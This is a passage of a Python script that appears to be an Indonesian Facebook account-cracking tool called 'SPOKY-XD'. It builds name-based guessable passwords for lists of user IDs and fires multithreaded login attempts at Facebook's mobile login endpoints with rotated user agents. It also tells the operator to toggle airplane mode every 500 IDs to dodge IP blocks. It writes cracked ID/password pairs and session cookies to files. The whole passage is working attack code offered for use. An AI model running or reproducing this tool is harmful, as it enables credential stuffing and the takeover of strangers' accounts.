  545. #-------------[ PENGATURAN-IDZ ]---------------#
  546. def setting():
  547.     atur.append(nel(f'[bold white][[bold cyan]01[/][bold white]][/] [bold white]CRACK IDZ TUA [bold white][/]\n[bold white][[bold cyan]02[/][bold white]][/] [bold white]CRACK IDZ MUDA[bold white][/]\n[bold white][[bold cyan]03[/][bold white]][/] [bold white]CRACK IDZ RANDOM [bold white][/]',width=35,padding=(0,1),title=f"[bold yellow] MENU IDZ ",style=f"bold blue"))
  548.     atur.append(nel(f'[bold white][[bold cyan]01[/][bold white]][/] [bold white]LOGIN SITE [bold green]MOBILE V1[bold white] [/]\n[bold white][[bold cyan]02[/][bold white]][/] [bold white]LOGIN SITE [bold green]MBASIC FB[bold white] [/]\n[bold white][[bold cyan]03[/][bold white]][/] [bold white]LOGIN SITE [bold green]MOBILE V2[bold white] ',width=35,title=f"[bold yellow] MENU METODE ",padding=(0,1),style=f"bold blue"))
  549.     console.print(Columns(atur))
  550.     print('╭───────────────────────────╮')
  551.     hu = input('╰─◕➤ PILIH IDZ    : ')
  552.     print('╰───────────────────────────╯')
  553.     if hu in ['1','01']:
  554.         for tua in sorted(id):
  555.             id2.append(tua)
  556.  
  557.     elif hu in ['2','02']:
  558.         muda=[]
  559.         for bacot in sorted(id):
  560.             muda.append(bacot)
  561.         bcm=len(muda)
  562.         bcmi=(bcm-1)
  563.         for xmud in range(bcm):
  564.             id2.append(muda[bcmi])
  565.             bcmi -=1
  566.     elif hu in ['3','03']:
  567.         for bacot in id:
  568.             xx = random.randint(0,len(id2))
  569.             id2.insert(xx,bacot)
  570.     else:
  571.         print('╰─◕➤ Pilih Yang Bener Kontooll ')
  572.         print('╭───────────────────────────╮')
  573.     hc = input('╰─◕➤ PILIH METODE : ')
  574.     print('╰───────────────────────────╯')
  575.     if hc in ['1','01']:
  576.         method.append('mobile')
  577.     elif hc in ['2','02']:
  578.         method.append('mobilev2')
  579.     elif hc in ['3','03']:
  580.         method.append('mobilev3')
  581.     else:
  582.         method.append('mobile')
  583.         exit()
  584.     passwrd()
  585. ###╭∩╮(︶.︶メ)[ BAGIAN-WORDLIST ](︶.︶メ)╭∩╮###
  586. def passwrd():
  587.     print('')
  588.     urut = []
  589.     urut.append(panel(f'        [bold green]%s [bold white]'%(okc),width=35,title=f"[bold green]OK SAVE IN",style=f"bold green"))
  590.     urut.append(panel(f'         [bold yellow]%s [bold white]'%(cpc),width=35,title=f"[bold yellow]CP SAVE IN",style=f"bold yellow"))
  591.     wa.print(Columns(urut))
  592.     cetak(nel(f'[bold white]TAMPILKAN APK YANG TERKAIT DALAM AKUN ? Y/T',width=50,title=f"[bold green]CEK APLIKASI",style=f"bold blue"))
  593.     spoky_404 = input('╰─◕➤ PILIH : ')
  594.     if spoky_404 in ['']:
  595.         print('╰─◕➤ Pilih Yang Bener Bro ')
  596.         exit()
  597.     elif spoky_404 in ['y','Y']:
  598.         taplikasi.append('ya')
  599.     else:
  600.         taplikasi.append('no')
  601.        
  602.     cetak(nel(f'[bold white]GUNAKAN USER UGENT MANUAL ? Y/T',width=50,title=f"[bold green]SETTING UGENT",style=f"bold blue"))
  603.     uatambah = input(f'╰─◕➤ PILIH : ')
  604.     if uatambah in ['y','Ya','ya','Y']:
  605.         ualuh.append('ya')
  606.         bzer = input(f'╰─◕➤ MASUKAN UGENT : ')
  607.         ualu.append(bzer)
  608.     else:
  609.         ualuh.append('tidak')
  610.        
  611.     cetak(panel(f'[bold white]TAMPILKAN CEK OPSI PADA AKUN ? Y/T',width=50,title=f"[bold green]CEK OPSI",style=f"bold blue"))
  612.     spoky_404 = input('╰─◕➤ PILIH : ')
  613.     if spoky_404 in ['']:
  614.         print('╰─◕➤ Pilih Yang Bener Bro ')
  615.         exit()
  616.     elif spoky_404 in ['y','Y']:
  617.         gabriel.append('ya')
  618.     else:
  619.         gabriel.append('no')
  620.         print('')      
  621.         print('╭───────────────────────────╮')
  622.     pwplus=input(f'{P}╰─◕➤ TAMBAHKAN PW MANUAL ? Y/T ')
  623.     print('╰───────────────────────────╯')
  624.     if pwplus in ['y','Ya']:
  625.         pwpluss.append('ya')
  626.         cetak(nel('[[white]•[white]] Masukkan Katasandi Tambahan Minimal 6 Karakter\n[[white]•[white]] Contoh :[green] Bandung,Jakarta,Karawang[white] '))
  627.         pwku=input(f'{P}╰─◕➤ MASUKAN PASSWORD MANUAL : ')
  628.         pwkuh=pwku.split(',')
  629.         for xpw in pwkuh:
  630.             pwnya.append(xpw)
  631.     else:
  632.         pwpluss.append('no')
  633.        
  634.     cetak(nel(f'[bold white]ON/OFF MODE PESAWAT ✈️ SETIAP 500 IDZ,AGAR TERHINDAR DARI SPAM IP ',width=70,padding=(0,1),title=f"[bold yellow]WARNING",style=f"bold blue"))
  635.     with tred(max_workers=30) as pool:
  636.         for yuzong in id2:
  637.             idf,nmf = yuzong.split('|')[0],yuzong.split('|')[1].lower()
  638.             frs = nmf.split(' ')[0]
  639.             pwv = []
  640.             if len(nmf)<6:
  641.                 if len(frs)<3:
  642.                     pass
  643.                 else:
  644.                     pwv.append(frs+'123')
  645.                     pwv.append(frs+'1234')
  646.                     pwv.append(frs+'12345')
  647.                     pwv.append(frs+'123456')
  648.             else:
  649.                 if len(frs)<3:
  650.                     pwv.append(nmf)
  651.                 else:
  652.                     pwv.append(nmf)
  653.                     pwv.append(frs+'123')
  654.                     pwv.append(frs+'1234')
  655.                     pwv.append(frs+'12345')
  656.                     pwv.append(frs+'123456')
  657.             if 'ya' in pwpluss:
  658.                 for xpwd in pwnya:
  659.                     pwv.append(xpwd)
  660.             else:pass
  661.             if 'mobile' in method:
  662.                 pool.submit(crackmobile,idf,pwv)
  663.             elif 'mobilev2' in method:
  664.                 pool.submit(crackmobilev2,idf,pwv)
  665.             elif 'mobilev3' in method:
  666.                 pool.submit(crackmobilev3,idf,pwv)
  667.             else:
  668.                 pool.submit(crackmobile,idf,pwv)
  669.     print('')
  670.     print(f'>>>Crack Telah Selesai,Semoga Anda Bersyukur Dengan Hasil Nya<<<')
  671.     print(f'  [{h}•{x}]{h} OK : {h}%s '%(ok))
  672.     print(f'{x}  [{h}•{x}]{k} CP : {k}%s{x} '%(cp))
  673.     print('╭────────────────────────────╮')
  674.     print(' | Lanjut Crack Kembali ( Y/t ) ? ')
  675.     print('╰────────────────────────────╯')
  676.     woi = input('☞Pilih : ')
  677.     if woi in ['y','Y']:
  678.         back()
  679.     else:
  680.         print(f'\t{x}☞{b} Good Bye Dadaahh Jangan Lupa Bersukur{x} ☜ ')
  681.         time.sleep(2)
  682.         exit()
  683.        
  684. def cektahun(fx):
  685.     if len(fx)==15:
  686.         if fx[:10] in ['1000000000']       :tahunz = '2009'
  687.         elif fx[:9] in ['100000000']       :tahunz = '2009'
  688.         elif fx[:8] in ['10000000']        :tahunz = '2009'
  689.         elif fx[:7] in ['1000000','1000001','1000002','1000003','1000004','1000005']:tahunz = '2009'
  690.         elif fx[:7] in ['1000006','1000007','1000008','1000009']:tahunz = '2010'
  691.         elif fx[:6] in ['100001']          :tahunz = '2010'
  692.         elif fx[:6] in ['100002','100003'] :tahunz = '2011'
  693.         elif fx[:6] in ['100004']          :tahunz = '2012'
  694.         elif fx[:6] in ['100005','100006'] :tahunz = '2013'
  695.         elif fx[:6] in ['100007','100008'] :tahunz = '2014'
  696.         elif fx[:6] in ['100009']          :tahunz = '2015'
  697.         elif fx[:5] in ['10001']           :tahunz = '2016'
  698.         elif fx[:5] in ['10002']           :tahunz = '2017'
  699.         elif fx[:5] in ['10003']           :tahunz = '2018'
  700.         elif fx[:5] in ['10004']           :tahunz = '2019'
  701.         elif fx[:5] in ['10005']           :tahunz = '2020'
  702.         elif fx[:5] in ['10006']           :tahunz = '2021'
  703.         elif fx[:5] in ['10009']           :tahunz = '2023'
  704.         elif fx[:5] in ['10007','10008']:tahunz = '2022'
  705.         else:tahunz=''
  706.     elif len(fx) in [9,10]:
  707.         tahunz = '2008'
  708.     elif len(fx)==8:
  709.         tahunz = '2007'
  710.     elif len(fx)==7:
  711.         tahunz = '2006'
  712.     else:tahunz=''
  713.     return tahunz
  714.    
  715. ###╭∩╮(︶.︶メ)[ METODE-MOBILE V1 ](︶.︶メ)╭∩╮###
  716. def crackmobile(idf,pwv):
  717.     global loop,ok,cp
  718.     ua = random.choice(ugen)
  719.     ua2 = random.choice(ugen2)
  720.     ses = requests.Session()
  721.     sys.stdout.write(f"\r{h} 👾 SPOKY-XD {idf}{x} {loop}/{len(id)} {h}OK-:{ok} {k}CP-:{cp} {P}{'{:.0%}'.format(loop/float(len(id)))}{P}  "),
  722.     sys.stdout.flush()
  723.     for pw in pwv:
  724.         try:
  725.             if 'ya' in ualuh: ua = ualu[0]
  726.             nip=random.choice(prox)
  727.             proxs= {'http': 'socks5://'+nip}
  728.             link = ses.get('https://m.facebook.com/login.php?skip_api_login=1&api_key=345000986033587&kid_directed_site=0&app_id=345000986033587&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv12.0%2Fdialog%2Foauth%3Fcct_prefetching%3D0%26client_id%3D345000986033587%26cbt%3D1679190355185%26e2e%3D%257B%2522init%2522%253A1679190355186%257D%26ies%3D0%26sdk%3Dandroid-12.2.0%26sso%3Dchrome_custom_tab%26nonce%3D36eab410-3bf2-4a18-92b6-8899482bce03%26scope%3Dopenid%252Cpublic_profile%252Cuser_gender%252Cuser_friends%26state%3D%257B%25220_auth_logger_id%2522%253A%25228fabc5ff-90e2-4258-a451-a1f4a796c348%2522%252C%25223_method%2522%253A%2522custom_tab%2522%252C%25227_challenge%2522%253A%25229v54bbhoj58tns0r4tjn%2522%257D%26default_audience%3Dfriends%26login_behavior%3DNATIVE_WITH_FALLBACK%26redirect_uri%3Dfb345000986033587%253A%252F%252Fauthorize%252F%26auth_type%3Drerequest%26response_type%3Did_token%252Ctoken%252Csigned_request%252Cgraph_domain%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D8fabc5ff-90e2-4258-a451-a1f4a796c348%26tp%3Dunspecified&cancel_url=fb345000986033587%3A%2F%2Fauthorize%2F%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%25228fabc5ff-90e2-4258-a451-a1f4a796c348%2522%252C%25223_method%2522%253A%2522custom_tab%2522%252C%25227_challenge%2522%253A%25229v54bbhoj58tns0r4tjn%2522%257D%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
  729.             data = {
  730. 'lsd': re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
  731. 'jazoest': re.search('name="jazoest" value="(.*?)"',str(link.text)).group(1),
  732. 'm_ts': re.search('name="m_ts" value="(.*?)"',str(link.text)).group(1),
  733. 'li': re.search('name="li" value="(.*?)"',str(link.text)).group(1),
  734. 'try_number': 0,
  735. 'unrecognized_tries': 0,
  736. 'email':idf,
  737. 'pass':pw,
  738. 'login':'Masuk',
  739. 'prefill_contact_point': '',
  740. 'prefill_source': '',
  741. 'prefill_type': '',
  742. 'first_prefill_source': '',
  743. 'first_prefill_type': '',
  744. 'had_cp_prefilled': False,
  745. 'had_password_prefilled': False,
  746. 'is_smart_lock': False,
  747. 'bi_xrwh': 0
  748. }
  749.             headers = {'Host': 'm.facebook.com','x-fb-rlafr': '0','access-control-allow-origin': '*','facebook-api-version': 'v12.0','strict-transport-security': 'max-age=15552000; preload','pragma': 'no-cache','cache-control': 'private, no-cache, no-store, must-revalidate','x-fb-request-id': 'A3PUDZnzy2xgkMAkH9bcVof','x-fb-trace-id': 'Cx4jrkJJire','x-fb-rev': '1007127514','x-fb-debug': 'AXRLN2ab6tbNBxFWS6kiERe8mEyeHkpYgc1xM77joSCak8hY1B2+tWfeptUXVmRpMqno2j95r13+cw0bLoOi4A==','content-length': '2141','cache-control': 'max-age=0','sec-ch-ua': '"Chromium";v="107", "Not=A?Brand";v="24"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','save-data': 'on','upgrade-insecure-requests': '1','origin': 'https://m.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'navigate','sec-fetch-user': '?1','sec-fetch-dest': 'document','referer': 'https://m.facebook.com/login.php?skip_api_login=1&api_key=345000986033587&kid_directed_site=0&app_id=345000986033587&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv12.0%2Fdialog%2Foauth%3Fcct_prefetching%3D0%26client_id%3D345000986033587%26cbt%3D1679190355185%26e2e%3D%257B%2522init%2522%253A1679190355186%257D%26ies%3D0%26sdk%3Dandroid-12.2.0%26sso%3Dchrome_custom_tab%26nonce%3D36eab410-3bf2-4a18-92b6-8899482bce03%26scope%3Dopenid%252Cpublic_profile%252Cuser_gender%252Cuser_friends%26state%3D%257B%25220_auth_logger_id%2522%253A%25228fabc5ff-90e2-4258-a451-a1f4a796c348%2522%252C%25223_method%2522%253A%2522custom_tab%2522%252C%25227_challenge%2522%253A%25229v54bbhoj58tns0r4tjn%2522%257D%26default_audience%3Dfriends%26login_behavior%3DNATIVE_WITH_FALLBACK%26redirect_uri%3Dfb345000986033587%253A%252F%252Fauthorize%252F%26auth_type%3Drerequest%26response_type%3Did_token%252Ctoken%252Csigned_request%252Cgraph_domain%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D8fabc5ff-90e2-4258-a451-a1f4a796c348%26tp%3Dunspecified&cancel_url=fb345000986033587%3A%2F%2Fauthorize%2F%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%25228fabc5ff-90e2-4258-a451-a1f4a796c348%2522%252C%25223_method%2522%253A%2522custom_tab%2522%252C%25227_challenge%2522%253A%25229v54bbhoj58tns0r4tjn%2522%257D%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate','accept-language': 'id-ID,id;q=0.9,en-GB;q=0.8,en;q=0.7,en-US;q=0.6'}
  750.             link = random.choice(["https://m.facebook.com/login/device-based/regular/login/?api_key=140810032656374&auth_token=63ed3e768f0e783f4cc81a6b1026c500&skip_api_login=1&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv14.0%2Fdialog%2Foauth%3Fclient_id%3D140810032656374%26redirect_uri%3Dhttps%253A%252F%252Faccounts.pixiv.net%252Fpigya%252Fproxy%252Fcallback%252Ffacebook%26response_type%3Dcode%26scope%3Demail%26state%3DGeDYUodE_pVN5pDXKBbhaF12RvXSU-30ikz4dZVHI8w%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3Dd3e7e4df-8e7b-42c9-81a7-ee0e2abb19c9%26tp%3Dunspecified&refsrc=deprecated&app_id=140810032656374&cancel=https%3A%2F%2Faccounts.pixiv.net%2Fpigya%2Fproxy%2Fcallback%2Ffacebook%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3DGeDYUodE_pVN5pDXKBbhaF12RvXSU-30ikz4dZVHI8w%23_%3D_&lwv=100&locale2=id_ID&refid=9","https://m.facebook.com/login/device-based/regular/login/?api_key=213560439114&auth_token=7ade521eceaab1458866d9821149d64f&skip_api_login=1&signed_next=1&next=https%3A%2F%2Fmobile.facebook.com%2Fv2.9%2Fdialog%2Foauth%3Fapp_id%3D213560439114%26cbt%3D1677182177996%26channel_url%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df11da1fc663793c%2526domain%253Dwww.starmakerstudios.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Fwww.starmakerstudios.com%25252Ff1245028efb5658%2526relation%253Dopener%26client_id%3D213560439114%26display%3Dtouch%26domain%3Dwww.starmakerstudios.com%26e2e%3D%257B%257D%26fallback_redirect_uri%3Dhttps%253A%252F%252Fwww.starmakerstudios.com%252Flogin%252Fpage%253Freturn_url%253D%252Finstrumental%252Fupload%26locale%3Dzh_CN%26logger_id%3Df2bda15588a0498%26origin%3D2%26redirect_uri%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df1931b4149a3a44%2526domain%253Dwww.starmakerstudios.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Fwww.starmakerstudios.com%25252Ff1245028efb5658%2526relation%253Dopener%2526frame%253Df3f39a10ef963dc%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%26scope%3Demail%26sdk%3Djoey%26version%3Dv2.9%26ret%3Dlogin%26fbapp_pres%3D0%26tp%3Dunspecified&refsrc=deprecated&app_id=213560439114&cancel=https%3A%2F%2Fstaticxx.facebook.com%2Fx%2Fconnect%2Fxd_arbiter%2F%3Fversion%3D46%23cb%3Df1931b4149a3a44%26domain%3Dwww.starmakerstudios.com%26is_canvas%3Dfalse%26origin%3Dhttps%253A%252F%252Fwww.starmakerstudios.com%252Ff1245028efb5658%26relation%3Dopener%26frame%3Df3f39a10ef963dc%26error%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied&lwv=100&locale2=id_ID&refid=9","https://m.facebook.com/login/device-based/regular/login/?api_key=213560439114&auth_token=5f8c7178a13395b4cd272a3e1897de8b&skip_api_login=1&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv14.0%2Fdialog%2Foauth%3Fcct_prefetching%3D0%26client_id%3D213560439114%26cbt%3D1677419913361%26e2e%3D%257B%2522init%2522%253A1677419913361%257D%26ies%3D1%26sdk%3Dandroid-14.1.1%26sso%3Dchrome_custom_tab%26nonce%3D063978e3-28aa-4a0f-bbc6-9272a9973fcb%26scope%3Duser_birthday%252Copenid%252Cpublic_profile%252Cuser_gender%252Cuser_friends%252Cemail%26state%3D%257B%25220_auth_logger_id%2522%253A%252281b4243d-16d4-4293-aa47-6359abf5abdd%2522%252C%25223_method%2522%253A%2522custom_tab%2522%252C%25227_challenge%2522%253A%2522lgg1tdnv3jjnt4houtbf%2522%257D%26code_challenge_method%3DS256%26default_audience%3Dfriends%26login_behavior%3DNATIVE_WITH_FALLBACK%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.starmakerinteractive.starmaker%26auth_type%3Drerequest%26response_type%3Did_token%252Ctoken%252Csigned_request%252Cgraph_domain%26return_scopes%3Dtrue%26code_challenge%3DP1LSLToQntEH2uBpWwB7VQimlXskVC9z-rHLt8TMxh0%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D81b4243d-16d4-4293-aa47-6359abf5abdd%26tp%3Dunspecified&refsrc=deprecated&app_id=213560439114&cancel=fbconnect%3A%2F%2Fcct.com.starmakerinteractive.starmaker%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252281b4243d-16d4-4293-aa47-6359abf5abdd%2522%252C%25223_method%2522%253A%2522custom_tab%2522%252C%25227_challenge%2522%253A%2522lgg1tdnv3jjnt4houtbf%2522%257D&lwv=100&locale2=id_ID&refid=9"])
  751.             po = ses.post(link,data=data,headers=headers,allow_redirects=False)
  752.             if "checkpoint" in po.cookies.get_dict().keys():
  753.                 print("")
  754.                 tree = Tree(f" ")
  755.                 tree.add(f"[CP] [bold yellow]{idf}|{pw} >> {cektahun(idf)} ")
  756.                 tree.add(f"[•] [bold white]UGEN : [bold blue]{ua}\n")
  757.                 cetak(tree)
  758.                 open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  759.                 akun.append(idf+'|'+pw)
  760.                 cp+=1
  761.                 break
  762.             elif "c_user" in ses.cookies.get_dict().keys():
  763.                 ok+=1
  764.                 coki=po.cookies.get_dict()
  765.                 kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  766.                 print('')
  767.                 tree = Tree(f"  ")
  768.                 tree.add(f"[OK] [bold green]{idf}|{pw} >> {cektahun(idf)} ")
  769.                 tree.add(f" [bold green]{kuki}\n")
  770.                 tree.add(f"[•] [bold white]UGEN : [bold purple]{ua}\n")
  771.                 cetak(tree)
  772.                 open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  773.                 cek_apk(kuki)
  774.                 break
  775.                
  776.             else:
  777.                 continue
  778.         except requests.exceptions.ConnectionError:
  779.             time.sleep(31)
  780.     loop+=1
  781.    
  782. ###╭∩╮(︶.︶メ)[ MATODE-MOBILE V2 ](︶.︶メ)╭∩╮###
  783. def crackmobilev2(idf,pwv):
  784.     global loop,ok,cp
  785.     ua = random.choice(ugen)
  786.     ua2 = random.choice(ugen2)
  787.     ses = requests.Session()
  788.     sys.stdout.write(f"\r{h} 👾 SPOKY-XD {idf}{x} {loop}/{len(id)} {h}OK-:{ok} {k}CP-:{cp} {P}{'{:.0%}'.format(loop/float(len(id)))}{P}  "),
  789.     sys.stdout.flush()
  790.     for pw in pwv:
  791.         try:
  792.             if 'ya' in ualuh: ua = ualu[0]
  793.             nip=random.choice(prox)
  794.             proxs= {'http': 'socks5://'+nip}
  795.             ses.headers.update({'Host': 'mbasic.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
  796.             p = ses.get('https://mbasic.facebook.com/login.php?skip_api_login=1&api_key=1862952583919182&kid_directed_site=0&app_id=1862952583919182&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv2.9%2Fdialog%2Foauth%2F%3Fplatform%3Dfacebook%26client_id%3D1862952583919182%26response_type%3Dtoken%26redirect_uri%3Dhttps%253A%252F%252Fwww.tiktok.com%252Flogin%252F%26state%3D%257B%2522client_id%2522%253A%25221862952583919182%2522%252C%2522network%2522%253A%2522facebook%2522%252C%2522display%2522%253A%2522popup%2522%252C%2522callback%2522%253A%2522_hellojs_6e2e4pat%2522%252C%2522state%2522%253A%2522%2522%252C%2522redirect_uri%2522%253A%2522https%253A%252F%252Fwww.tiktok.com%252Flogin%252F%2522%252C%2522scope%2522%253A%2522basic%2522%257D%26scope%3Dpublic_profile%26auth_type%3Dreauthenticate%26display%3Dpopup%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3Dc5ab7d53-0810-47b0-8640-39adfbf98cfd%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fwww.tiktok.com%2Flogin%2F%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%2522client_id%2522%253A%25221862952583919182%2522%252C%2522network%2522%253A%2522facebook%2522%252C%2522display%2522%253A%2522popup%2522%252C%2522callback%2522%253A%2522_hellojs_6e2e4pat%2522%252C%2522state%2522%253A%2522%2522%252C%2522redirect_uri%2522%253A%2522https%253A%252F%252Fwww.tiktok.com%252Flogin%252F%2522%252C%2522scope%2522%253A%2522basic%2522%257D%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
  797.             dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://developers.facebook.com/tools/debug/accesstoken/","flow":"login_no_pin","pass":pw,}
  798.             koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
  799.             koki+=' m_pixel_ratio=2.625; wd=412x756'
  800.             heade={'Host': 'mbasic.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://m.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://m.facebook.com/index.php?next=https%3A%2F%2Fdevelopers.facebook.com%2Ftools%2Fdebug%2Faccesstoken%2F','accept-encoding': 'gzip, deflate, br','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}
  801.             po = ses.post('https://mbasic.facebook.com/login/device-based/validate-password/?shbl=0',data=dataa,allow_redirects=False)
  802.             if "checkpoint" in po.cookies.get_dict().keys():
  803.                 print("")
  804.                 tree = Tree(f" ")
  805.                 tree.add(f"[CP] [bold yellow]{idf}|{pw} >> {cektahun(idf)} ")
  806.                 tree.add(f"[•] [bold white]UGEN : [bold blue]{ua}\n")
  807.                 cetak(tree)
  808.                 open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  809.                 akun.append(idf+'|'+pw)
  810.                 cp+=1
  811.                 break
  812.             elif "c_user" in ses.cookies.get_dict().keys():
  813.                 ok+=1
  814.                 coki=po.cookies.get_dict()
  815.                 kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  816.                 print('')
  817.                 tree = Tree(f"  ")
  818.                 tree.add(f"[OK] [bold green]{idf}|{pw} >> {cektahun(idf)} ")
  819.                 tree.add(f" [bold green]{kuki}\n")
  820.                 tree.add(f"[•] [bold white]UGEN : [bold purple]{ua}\n")
  821.                 cetak(tree)
  822.                 open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  823.                 cek_apk(kuki)
  824.                 break
  825.                
  826.             else:
  827.                 continue
  828.         except requests.exceptions.ConnectionError:
  829.             time.sleep(31)
  830.     loop+=1
  831.    
  832. ###╭∩╮(︶.︶メ)[ METODE MOBILE V3 ](︶.︶メ)╭∩╮###
  833. def crackmobilev3(idf,pwv):
  834.     global loop,ok,cp
  835.     ua = random.choice(ugen)
  836.     ua2 = random.choice(ugen2)
  837.     ses = requests.Session()
  838.     sys.stdout.write(f"\r{h} 👾 SPOKY-XD {idf}{x} {loop}/{len(id)} {h}OK-:{ok} {k}CP-:{cp} {P}{'{:.0%}'.format(loop/float(len(id)))}{P}  "),
  839.     sys.stdout.flush()
  840.     for pw in pwv:
  841.         try:
  842.             if 'ya' in ualuh: ua = ualu[0]
  843.             nip=random.choice(prox)
  844.             proxs= {'http': 'socks5://'+nip}
  845.             link = ses.get('https://m.facebook.com/login.php?skip_api_login=1&api_key=345000986033587&kid_directed_site=0&app_id=345000986033587&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv12.0%2Fdialog%2Foauth%3Fcct_prefetching%3D0%26client_id%3D345000986033587%26cbt%3D1679190355185%26e2e%3D%257B%2522init%2522%253A1679190355186%257D%26ies%3D0%26sdk%3Dandroid-12.2.0%26sso%3Dchrome_custom_tab%26nonce%3D36eab410-3bf2-4a18-92b6-8899482bce03%26scope%3Dopenid%252Cpublic_profile%252Cuser_gender%252Cuser_friends%26state%3D%257B%25220_auth_logger_id%2522%253A%25228fabc5ff-90e2-4258-a451-a1f4a796c348%2522%252C%25223_method%2522%253A%2522custom_tab%2522%252C%25227_challenge%2522%253A%25229v54bbhoj58tns0r4tjn%2522%257D%26default_audience%3Dfriends%26login_behavior%3DNATIVE_WITH_FALLBACK%26redirect_uri%3Dfb345000986033587%253A%252F%252Fauthorize%252F%26auth_type%3Drerequest%26response_type%3Did_token%252Ctoken%252Csigned_request%252Cgraph_domain%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D8fabc5ff-90e2-4258-a451-a1f4a796c348%26tp%3Dunspecified&cancel_url=fb345000986033587%3A%2F%2Fauthorize%2F%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%25228fabc5ff-90e2-4258-a451-a1f4a796c348%2522%252C%25223_method%2522%253A%2522custom_tab%2522%252C%25227_challenge%2522%253A%25229v54bbhoj58tns0r4tjn%2522%257D%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
  846.             data = {
  847. 'lsd': re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
  848. 'jazoest': re.search('name="jazoest" value="(.*?)"',str(link.text)).group(1),
  849. 'm_ts': re.search('name="m_ts" value="(.*?)"',str(link.text)).group(1),
  850. 'li': re.search('name="li" value="(.*?)"',str(link.text)).group(1),
  851. 'try_number': 0,
  852. 'unrecognized_tries': 0,
  853. 'email':idf,
  854. 'pass':pw,
  855. 'login':'Masuk',
  856. 'prefill_contact_point': '',
  857. 'prefill_source': '',
  858. 'prefill_type': '',
  859. 'first_prefill_source': '',
  860. 'first_prefill_type': '',
  861. 'had_cp_prefilled': False,
  862. 'had_password_prefilled': False,
  863. 'is_smart_lock': False,
  864. 'bi_xrwh': 0
  865. }
